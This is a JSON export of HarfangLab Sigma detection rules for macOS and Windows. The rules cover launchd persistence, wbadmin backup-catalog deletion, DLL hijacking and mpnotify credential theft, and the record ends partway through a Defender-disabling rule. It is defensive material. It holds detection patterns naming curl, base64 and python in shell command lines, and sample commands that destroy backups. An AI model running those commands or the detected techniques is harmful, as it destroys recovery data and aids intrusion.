+  "content": "title: Suspicious Launchd Child Process\nid: d44c6de2-d37f-4e36-8fa1-f23231dd7632\ndescription: |\n    Detects a suspicious process execution by launchd.\n    Adversaries may install a persistence using a launch agent or daemon in order to keep remote access to a compromise asset between reboot.\n    It is recommended to check the maliciousness of the executed file.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/001/\n    - https://attack.mitre.org/techniques/T1543/004/\n    - https://attack.mitre.org/techniques/T1204/002/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/05/10\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1543.001\n    - attack.t1543.004\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    # Agents below 4.0.0 do not support signed MacOS processes, we need this for exclusion\n    selection_agent_version:\n        AgentVersion|gte|version: 4.0.0\n\n    selection_launchd:\n        ProcessParentImage: '/sbin/launchd'\n\n    selection_susp_hidden:\n        ProcessName|startswith: '.'\n\n    selection_susp_folder:\n        Image|startswith:\n            - '/Users/shared/'\n            - '/private/tmp/'\n            - '/private/var/folders/'\n            - '/Library/Containers/'\n            - '/private/var/root/'\n\n    selection_susp_bin:\n        Image|endswith: '/dseditgroup'\n\n    selection_susp_shell:\n        Image:\n            - '/bin/sh'\n            - '/bin/zsh'\n            - '/bin/bash'\n        CommandLine|contains:\n            - 'curl '\n            - 'base64 '\n            - 'python '\n\n    selection_signed:\n        Signed: 'true'\n\n    filter_adhoc_sig:\n        CodesigningFlagsStr|contains: 'CS_ADHOC'\n\n    exclusion_folder:\n        Image|startswith:\n            - '/private/var/folders/??/'\n            - '/private/tmp/KSInstallAction.'\n            - '/private/tmp/PKInstallSandbox.??????/'\n\n    exclusion_libexec:\n        CommandLine|contains:\n            - '/usr/libexec/tmp_cleaner'\n            - '/usr/libexec/gkreport'\n\n    exclusion_asdf:\n        CommandLine|contains: ' /opt/homebrew/opt/asdf/libexec/bin/asdf '\n\n    exclusion_pm2:\n        CommandLine: 'PM2 v*: God Daemon (/*/.pm2) SILENT=true'\n\n\n    exclusion_flowjo:\n        CommandLine|startswith: '/Applications/FlowJo.app/Contents/MacOS/flowjoJavaApplicationStub -c'\n\n    exclusion_nix:\n        Image:\n            - '/bin/bash'\n            - '/bin/sh'\n        CommandLine|startswith: '/bin/sh -c exec /nix/store/'\n\n    exclusion_xquartz:\n        CommandLine|contains: '-c exec \"${@}\" - /Applications/Utilities/XQuartz.app/Contents/MacOS/X11.bin'\n\n    exclusion_adobe:\n        SignatureSigningId: 'com.adobe.*'\n        Signed: 'true'\n\n    exclusion_fiery:\n        Image: '/private/tmp/Fiery Printer Driver Installer.app/Contents/Resources/User Software/OSX/Printer Driver/Installer Wizard.app/Contents/MacOS/Fiery Printer Driver Installer'\n        Signed: 'true'\n\n    exclusion_epic_games:\n        Image|startswith: '/Users/Shared/Epic Games/'\n\n    exclusion_parallels:\n        Image|startswith: '/Users/Shared/Parallels/'\n\n    condition: selection_launchd and selection_agent_version and 1 of selection_susp_* and not (1 of exclusion_* or (selection_signed and not filter_adhoc_sig))\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d44c6de2-d37f-4e36-8fa1-f23231dd7632",
+  "rule_name": "Suspicious Launchd Child Process",
+  "rule_description": "Detects a suspicious process execution by launchd.\nAdversaries may install a persistence using a launch agent or daemon in order to keep remote access to a compromise asset between reboot.\nIt is recommended to check the maliciousness of the executed file.\n",
+  "rule_creation_date": "2024-05-10",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1543.001",
+    "attack.t1543.004",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d46896a1-b2db-4315-9403-87083d67a701",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080040Z",
+  "creation_date": "2026-03-23T11:45:34.080042Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080046Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1490/"
+  ],
+  "name": "t1490_wbadmin_delete_catalog.yml",
+  "content": "title: Windows Backup Catalog Deleted\nid: d46896a1-b2db-4315-9403-87083d67a701\ndescription: |\n    Detects when the wbadmin utility is used to delete Windows backup catalogs.\n    This has been used by numerous malwares and ransomwares to hinder recovery methods.\n    It is recommended to investigate the parent process and other detection on the host to determine if this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1490/\ndate: 2020/10/08\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1490\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bcdedit:\n        - Image|endswith: '\\wbadmin.exe'\n        - OriginalFileName: 'WBADMIN.EXE'\n\n    selection_cmdline_1:\n        CommandLine|contains: 'delete'\n\n    selection_cmdline_2:\n        # https://blog.lexfo.fr/lockbit-malware.html\n        # wbadmin.exe delete catalog -quiet\n        # wbadmin DELETE SYSTEMSTATEBACKUP\n        CommandLine|contains:\n            - 'catalog'\n            - 'SYSTEMSTATEBACKUP'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d46896a1-b2db-4315-9403-87083d67a701",
+  "rule_name": "Windows Backup Catalog Deleted",
+  "rule_description": "Detects when the wbadmin utility is used to delete Windows backup catalogs.\nThis has been used by numerous malwares and ransomwares to hinder recovery methods.\nIt is recommended to investigate the parent process and other detection on the host to determine if this action was legitimate.\n",
+  "rule_creation_date": "2020-10-08",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1490"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d48da338-7c83-49b0-b766-ffd14fb2048a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096573Z",
+  "creation_date": "2026-03-23T11:45:34.096575Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096579Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sysreseterr.yml",
+  "content": "title: DLL Hijacking via sysreseterr.exe\nid: d48da338-7c83-49b0-b766-ffd14fb2048a\ndescription: |\n    Detects potential Windows DLL Hijacking via sysreseterr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sysreseterr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dui70.dll'\n            - '\\WDSCORE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d48da338-7c83-49b0-b766-ffd14fb2048a",
+  "rule_name": "DLL Hijacking via sysreseterr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sysreseterr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d48fb6b0-3f98-4577-95fe-48d2b1ed297d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093816Z",
+  "creation_date": "2026-03-23T11:45:34.093818Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093823Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy",
+    "https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nppasswordchangenotify",
+    "https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_mpnotify_load_unsigned_dll.yml",
+  "content": "title: Unsigned DLL Loaded by mpnotify.exe\nid: d48fb6b0-3f98-4577-95fe-48d2b1ed297d\ndescription: |\n    Detects when an unsigned DLL is loaded by mpnotify.exe.\n    This can be used by an attacker to receive notifications from winlogon.exe when a user logs in or changes password.\n    Using a malicious DLL, an attacker can get access to clear text credentials.\n    It is recommended to investigate the origin of the loaded DLL and to disable compromised accounts.\nreferences:\n    - https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy\n    - https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nppasswordchangenotify\n    - https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2021/03/18\nmodified: 2025/07/31\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1078\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: '\\mpnotify.exe'\n    filter_signed:\n        Signed: 'true'\n    exclusion_mpnotify:\n        ImageLoaded: '?:\\Windows\\System32\\mpnotify.exe'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'mpnotify.exe'\n\n    exclusion_winsxs:\n        # C:\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_88dcc0bf2fb1b808\\msvcr80.dll\n        # C:\\Windows\\WinSxS\\amd64_microsoft.vc80.mfcloc_1fc8b3b9a1e18e3b_8.0.50727.6195_none_bc20f59b0bdd1acd\\mfc80FRA.dll\n        # C:\\Windows\\WinSxS\\amd64_microsoft.vc80.mfcloc_1fc8b3b9a1e18e3b_8.0.50727.6195_none_bc20f59b0bdd1acd\\mfc80ENU.dll\n        # C:\\Windows\\WinSxS\\amd64_microsoft.vc80.mfc_1fc8b3b9a1e18e3b_8.0.50727.6195_none_8448b2bd328df189\\mfc80u.dll\n        # msvcr80.DLL is signed via catalogue.\n        ImageLoaded:\n            - '?:\\Windows\\winsxs\\amd64_microsoft.vc80.crt_*\\msvcr80.dll'\n            # If we end up finding a 32 bits variant that is also unsigned, uncomment this.\n            # - '?:\\windows\\winsxs\\x86_microsoft.vc80.crt_*\\msvcr80.dll'\n            - '?:\\Windows\\winsxs\\amd64_microsoft.vc80.mfcloc_*\\mfc80???.dll'  # mfc80ENU.dll / mfc80FRA.dll\n            - '?:\\Windows\\WinSxS\\Fusion\\amd64_microsoft.vc80.mfc*\\mfc80*.dll' # mfc80FRA.dll / mfc80u.dll\n            - '?:\\Windows\\winsxs\\amd64_microsoft.vc80.mfc_*\\mfc80u.dll'\n            - '?:\\Windows\\winsxs\\amd64_microsoft.vc80.crt_*\\msvcp80.dll'\n            - '?:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_*\\msvcm90.dll'\n            - '?:\\Windows\\WinSxS\\amd64_microsoft.vc80.atl_*\\ATL80.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName:\n            - 'MSVCR80.DLL'\n            - 'MFC80FRA.DLL'\n            - 'MFC80ENU.DLL'\n            - 'MFC80U.DLL'\n            - 'MSVCP80.DLL'\n            - 'MSVCM90.DLL'\n            - 'ATL80.DLL'\n\n    exclusion_ibm:\n        Company: 'IBM Corporation'\n        OriginalFileName:\n            - 'cwbnetnt.dll' # C:\\Program Files (x86)\\IBM\\Client Access\\Shared\\cwbnetnt.dll\n            - 'cwbunpls.dll' # C:\\Windows\\System32\\cwbunpls.dll\n            - 'cwbcore.dll'  # C:\\Windows\\System32\\cwbcore.dll\n\n    exclusion_ibm_without_infos:\n        # SHA-256: 5bef56d5a9196e4706f074e52f333bf357a67513a00a6882de33bfbfb77e3e1b\n        ImageLoaded: '?:\\Windows\\System32\\cwbrw.dll'\n        Company: ''\n        Description: ''\n        FileVersion: ''\n        LegalCopyright: ''\n        OriginalFileName: ''\n        InternalName: ''\n\n    # C:\\Lotus\\Notes\\npnotes64.dll\n    exclusion_ibm_lotus:\n        Company:\n            - 'IBM Corporation'\n            - 'Lotus Development'\n        OriginalFileName: 'npnotes'\n\n    exclusion_ibm_client_access_cwbcfmsg:\n        # C:\\Program Files (x86)\\IBM\\Client Access\\Mri2928\\cwbcfmsg.dll\n        # C:\\winu\\IBM\\Client Access\\MRI2966\\cwbcfmsg.dll\n        # There is no PE information on this DLL...\n        ImageLoaded: '*\\IBM\\Client Access\\Mri29??\\cwbcfmsg.dll'\n\n    exclusion_NPPSpy:\n        # This DLL is malicious so we have another sigma rule with higher level\n        ImageLoaded: '?:\\Windows\\System32\\NPPSPY.dll'\n\n    exclusion_mit_kerberos:\n        ImageLoaded:\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\krbcc64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\leashw64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\xpprof64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\krb5_64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\k5sprt64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\comerr64.dll'\n            - '?:\\Program Files\\MIT\\Kerberos\\bin\\wshelp64.dll'\n            - '?:\\Windows\\System32\\kfwlogon.dll'\n        Company: 'Massachusetts Institute of Technology.'\n\n    exclusion_ms:\n        # Signed via catalogue\n        ImageLoaded:\n            - '?:\\Windows\\System32\\shfolder.dll'\n            - '?:\\Windows\\System32\\comdlg32.dll'\n            - '?:\\Windows\\System32\\uxtheme.dll'\n            - '?:\\Windows\\System32\\oleaut32.dll'\n            - '?:\\Windows\\System32\\lpk.dll'\n        Company: 'Microsoft Corporation'\n\n    exclusion_broadcom:\n        ImageLoaded: '?:\\Windows\\System32\\BCMLogon.dll'\n        Company:\n            - 'Broadcom Corporation'\n            - 'Dell Inc.'\n        OriginalFileName: 'BCMLogon.dll'\n\n    exclusion_dotnet:\n        # C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\n        ImageLoaded: '?:\\Windows\\assembly\\NativeImages_v2*\\mscorlib\\\\*\\mscorlib.ni.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'mscorlib.dll'\n\n    exclusion_secur32:\n        ImageLoaded: '?:\\Windows\\System32\\secur32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'secur32.dll'\n\n    exclusion_kernel32:\n        # SHA256: 3887ddbbb00e9650c5c9494b9eb5799fe0a3ea7e4d9345e596736b43f70f94da\n        ImageLoaded: '?:\\Windows\\System32\\kernel32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'kernel32'\n\n    exclusion_sechost:\n        # SHA256: 8ebd0bf108c490c3fb0946210a6d63767d5797e374ee5cf5414fd803d3a23451\n        ImageLoaded: '?:\\Windows\\System32\\sechost.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'sechost.dll'\n\n    exclusion_rpcrt4:\n        # SHA256: 207227b6d01c2da123981a6f836d8f3a1c11ee52d65d15cf9ec0f3c5478abfff\n        ImageLoaded: '?:\\Windows\\System32\\rpcrt4.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'rpcrt4.dll'\n\n    exclusion_advapi32:\n        # SHA256: e09740d26a0c9723de55173134dbbeb663a34085297ab14d7aeacd2bd594e55b\n        ImageLoaded: '?:\\Windows\\System32\\advapi32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'advapi32.dll'\n\n    exclusion_msvcrt:\n        # SHA256: 6b668a5882b862601fbe4fb2489a3b553ffdacf6d0428241b15b52fd45b88e20\n        ImageLoaded: '?:\\Windows\\System32\\advapi32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'msvcrt.dll'\n\n    exclusion_mpr:\n        # SHA256: 0f7a80db821fde6580e9481b6da44844f717ddb4983b0e3d562be43726153951\n        ImageLoaded: '?:\\Windows\\System32\\mpr.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'mpr.dll'\n\n    exclusion_kernelbase:\n        ImageLoaded: '?:\\Windows\\System32\\KernelBase.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'Kernelbase'\n\n    exclusion_xerox:\n        ImageLoaded: '?:\\Program Files\\Xerox\\DSClient\\CredMan.dll'\n        Company: 'Xerox Corporation'\n        OriginalFileName: 'CredMan.dll'\n\n    exclusion_novell:\n        ImageLoaded:\n            - '?:\\Program Files\\Novell\\CASA\\Bin\\lcredmgr.dll'\n            - '?:\\Program Files (x86)\\Novell\\ZENworks\\bin\\ZenCredManager.dll'\n\n    exclusion_mcafee_enc_network_provider:\n        Image: '?:\\Program Files\\Hewlett-Packard\\Drive Encryption\\EpePcNp64.dll'\n\n    exclusion_rpc:\n        ImageLoaded: '?:\\Windows\\System32\\RpcRtRemote.dll'\n\n    exclusion_south_river_technologies:\n        ImageLoaded:\n          - '?:\\Windows\\System32\\wdHelper.dll'\n          - '?:\\Windows\\System32\\wdResDll.dll'\n          - '?:\\Windows\\System32\\wdUIResDll.dll'\n        LegalCopyright|contains: 'South River Technologies, Inc.'\n\n    exclusion_nvidia:\n        ImageLoaded:\n            - '?:\\Program Files\\NVIDIA Corporation\\coprocmanager\\nvd*.dll'\n            - '?:\\Windows\\System32\\nvinitx.dll'\n        Company: 'NVIDIA Corporation'\n        Product: 'NVIDIA D3D shim drivers'\n\n    exclusion_winspool:\n        # SHA256: ad4569983410a1149ca200729766ff80eb2f342d27024d0fd90d3bf121ea1e69\n        ImageLoaded: '?:\\Windows\\System32\\winspool.drv'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'winspool.drv'\n\n    exclusion_dell_encryption:\n        ImageLoaded|startswith: '?:\\Program Files\\Dell\\Dell Data Protection\\Encryption\\'\n        Company|contains: 'The Security Division of EMC'\n        OriginalFileName:\n            - 'ccme_ecc_non_fips'\n            - 'ccme_ecc_accel_non_fips'\n            - 'ccme_base_non_fips'\n            - 'ccme_ecc'\n            - 'ccme_asym'\n            - 'ccme_base'\n            - 'ccme_aux_entropy'\n            - 'ccme_error_info'\n            - 'cryptocme'\n\n    exclusion_openssl:\n        - ImageLoaded:\n            - '?:\\Windows\\System32\\libcrypto*.dll'\n            - '?:\\Windows\\System32\\libssl*.dll'\n          Company|startswith: 'The OpenSSL Project'\n        - ImageLoaded: '?:\\Windows\\System32\\libeayX.dll'\n          Company: 'The OpenSSL Project, http://www.openssl.org/'\n          OriginalFileName: 'libeay32.dll'\n\n    exclusion_sso_dell:\n        ImageLoaded: '?:\\Windows\\System32\\pnsso.dll'\n        Company: 'Dell Inc.'\n        OriginalFileName: 'pnsso.dll'\n\n    exclusion_sophos:\n        ImageLoaded: '?:\\Windows\\System32\\hmpalert.dll'\n        Company: 'Sophos Limited'\n        OriginalFileName: 'hmpalert.dll'\n\n    exclusion_wave:\n        ImageLoaded: '?:\\Windows\\System32\\WCR10.dll'\n        Company: 'Wave Systems Corp.'\n        OriginalFileName: 'WCR10.dll'\n\n    exclusion_dpapi:\n        ImageLoaded: '?:\\Windows\\System32\\dpapi.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'dpapi.dll'\n\n    exclusion_msctf:\n        ImageLoaded: '?:\\Windows\\System32\\msctf.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'MSCTF.DLL'\n\n    exclusion_version_ms:\n        ImageLoaded: '?:\\Windows\\System32\\version.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'VERSION.DLL'\n\n    exclusion_imm32:\n        ImageLoaded: '?:\\Windows\\System32\\imm32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'imm32'\n\n    exclusion_crypt32:\n        ImageLoaded: '?:\\Windows\\System32\\crypt32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'CRYPT32.DLL'\n\n    exclusion_cryptbase:\n        ImageLoaded: '?:\\Windows\\System32\\cryptbase.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'cryptbase.dll'\n\n    exclusion_msasn1:\n        ImageLoaded: '?:\\Windows\\System32\\msasn1.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'msasn1.dll'\n\n    exclusion_shell32:\n        ImageLoaded: '?:\\Windows\\System32\\shell32.dll'\n        Company: 'Microsoft Corporation'\n        OriginalFileName: 'SHELL32.DLL'\n\n    exclusion_avencis:\n        ImageLoaded: '?:\\Program Files (x86)\\Avencis\\SSOX\\SSOXCredentialManager.dll'\n        Company: 'Avencis'\n        OriginalFileName: 'SSOXCredManager.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d48fb6b0-3f98-4577-95fe-48d2b1ed297d",
+  "rule_name": "Unsigned DLL Loaded by mpnotify.exe",
+  "rule_description": "Detects when an unsigned DLL is loaded by mpnotify.exe.\nThis can be used by an attacker to receive notifications from winlogon.exe when a user logs in or changes password.\nUsing a malicious DLL, an attacker can get access to clear text credentials.\nIt is recommended to investigate the origin of the loaded DLL and to disable compromised accounts.\n",
+  "rule_creation_date": "2021-03-18",
+  "rule_modified_date": "2025-07-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d4bcc870-f8ea-422b-a873-97ee79190440",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621697Z",
+  "creation_date": "2026-03-23T11:45:34.621699Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621703Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/",
+    "https://github.com/jeremybeaume/tools/blob/master/disable-defender.ps1",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_windows_defender_disable_powershell.yml",
+  "content": "title: Windows Defender Disabled via PowerShell\nid: d4bcc870-f8ea-422b-a873-97ee79190440\ndescription: |\n    Detects the usage of PowerShell to disable Windows Defender.\n    Attackers might disable Windows Defender to evade detection.\n    It is recommended to investigate the PowerShell command and the parent process for suspicious activities.\nreferences:\n    - https://thedfirreport.com/2024/01/29/buzzing-on-christmas-eve-trigona-ransomware-in-3-hours/\n    - https://github.com/jeremybeaume/tools/blob/master/disable-defender.ps1\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/08/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        